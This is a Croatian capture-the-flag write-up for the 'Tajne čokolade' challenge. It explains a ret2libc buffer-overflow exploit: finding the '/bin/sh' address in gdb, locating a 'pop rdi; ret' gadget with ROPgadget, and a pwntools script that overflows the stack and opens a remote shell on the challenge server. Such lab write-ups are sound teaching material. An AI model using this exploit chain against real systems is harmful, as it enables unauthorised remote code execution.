====Ret2Libc==== Ret2Libc je naziv za binarnu eksploataciju kojom napadač preplavljuje povratnu adresu na izvršni kod unutar neke od funkcija iz libc-*.so (najčešće funkcija system()). ====Tajne čokolade==== ===Opis zadatka:=== https://platforma.hacknite.hr/challenges#Tajne%20%C4%8Dokolade-96 Ante neće uspjeti ostvariti dominaciju tržišta sladoleda bez savršenog recepta za čokoladu, što u konačnici znači da neće imati dovoljno novaca za najbolje novo računalo kojim bi mogao igrati RTX Minecraft na 4k rezoluciji i 144Hz. Ante je načuo da isti program koji je čuvao recept za sladoled od vanilije zapravo negdje čuva i recept za savršeni sladoled od čokolade. Preciznije, na istom računalu/poslužitelju se nalazi i taj dodatni recept kojega Ante traži, sakriven negdje na datotečnom sustavu u datoteci naziva flag2. Možeš li se spojiti na program, ostvariti pristup poslužitelju - tako da možeš izvršavati naredbe u ljusci (engl. shell) operacijskog sustava, tzv. remote code execution - te pronaći i taj recept čime bi osigurao da Ante u potpunosti dominira tržištem sladoleda? Podaci za spajanje i podaci o programu (izvorni kod i izvršna datoteka) su isti kao i u zadatku Tajne vanilije. Program je na poslužitelju pokrenut unutar Alpine Linux 3.16 containera (to ne bi trebalo bitno utjecati na rješavanje zadatka). ===Rješenje:=== Potrebno je napraviti sistemski poziv za pretraživanje datoteke "flag2" na udaljenom računalu. Ovdje će biti prikazano rješenje koje iskorištava činjenicu da datoteka koristi sistemski poziv system(): system("date +%F"); //Zbog ovog poziva je funkcija system uključena u datoteku Preko nje će se pozvati remote shell koji će omogućiti pozivanje proizvoljnih naredbi tzv. remote code execution. System(): Funkcija koja prima string kao argument, interpretira ga i izvrši. Kako bi se pozvao shell funkcijom system, potrebno mu je proslijediti pointer na string "/bin/sh". Unos stringa "/bin/sh" omogućen je kroz varijablu username ili password, ali se i nalazi unutar datoteke i bez njegovog unosa. Rješenje će biti izvedeno uz pomoć postojećeg stringa. Razlika će dakle biti u adresi koja sadrži "/bin/sh". Ako rješenje koristi username ili password varijablu, unutar payloada je potrebno izmijeniti adresu koja se prosljeđuje pozivu system na odgovarajući offset odgovarajuće varijable. Kako bi se pronašla adresa "/bin/sh" stringa, najprije je potrebno otvoriti main unutar gdb-a: gdb main Pokrenite program jednom s (unutar gdb-a): r kako bi se adresna memorija mapirala. Zatim je potrebno pronaći početnu i završnu adresu programa (unutar gdb-a): info proc map {{tajnecokoladeprocmap.png}} Ispis prikazuje da je početak memorije na adresi 0x400000, a kraj (onaj prije heap-a) na adresi 0x408000. Pretraga za string "/bin/sh" izvodi se naredbom (unutar gdb-a): find start_addr, end_addr, string Dakle: find 0x400000, 0x408000, "/bin/sh" {{tajnecokoladefind.png}} Dobivene su dvije adrese: 0x4050d9 i 0x4060d9. Za provjeru da se radi o dobrom stringu može iskoristiti naredba (unutar gdb-a): x/s 0x4050d9 //ili 0x4060d9 U rješenju će se koristiti adresa 0x4050d9. Zbog x64 calling konvencije pointer na adresu na kojoj se nalazi string "/bin/sh" bit će u registru rdi. To znači da kako bi se sistemski poziv system ispravno pozvao, prije samog poziva potrebno je postaviti željenu adresu u registar rdi. Kako bi se to postiglo koristi se tzv. "ROP". Rop (return-oriented programming) je tehnika kojom se registri postavljaju u željena stanja. Jedna od tehnika rop-a jest "write, what, where" kojim se pozivaju krajevi funkcija koji sadrže instrukcije pop s željenim registrima (pop stavlja trenutnu vrijednost na stogu u registar, npr. pop rdi) i time omogućuje arbitrarni unos. U ovom slučaju, potrebno je postaviti vrijednost u registar rdi, što znači da je potrebna funkcija koja završava s pop rdi. Kako bi se pronašla takva funkcija koriste se rop alati. U ovom primjeru korišteni alat je ROPGadget no postoje i brojni drugi (npr. Ropper, PWN tools...). Nareba za pronalazak "write,what,where" rop-a jest (uz pomoć ROPgadget): ROPGadget --silent --ropchain --binary main {{tajnecokoladerop.png}} Iz ispisa je vidljivo da je upravo: pop rdi; ret; na adresi 0x401797 (što je ujedno i adresa unutar funkcije system). Za provjeru (unutar gdb-a): x/2i 0x401797 {{tajnecokoladeexamine.png}} Sada kada je poznata adresa stringa "/bin/sh" i adresa rop-a, moguće je sastaviti payload. Ideja je sljedeća: 1. Prepisati stog s padding-om ispravne duljine (120) 2. Prepisati povratnu adresu s adresom rop-a //0x401797 3. Prepisati sljedećih 8 bajtova s adresom stringa "/bin/sh" //0x4050d9 --> pop rdi; 4. Prepisati povratnu adresu s adresom system poziva //0x4015b6 (adresa system poziva se može saznati s npr. disas system) --> ret; Nakon uspješnog unosa sastavljenog payloada na udaljenom računalu bit će otvoren shell. Napomena 1.: x64 calling konvencija zahtjeva da su povratne adrese poredane sa 16-bitnim modulom (stack alignment x64 calling convention) Napomena 2.: Dobra je praksa nadodati adresu na poziv exit() nakon završetka rada shell-a kako bi program uspješno prestao s radom. Primjer rješenja (PWN tools python3): payload.py -------- p = remote("chal.platforma.hacknite.hr",11002) payload = b"\n" payload += b"A"*120 #padding payload += p64(0x401797) payload += p64(0x4050d9) payload += p64(0x4015b6) p.writeline(payload) p.interactive() {{tajnecokoladepayload.png}}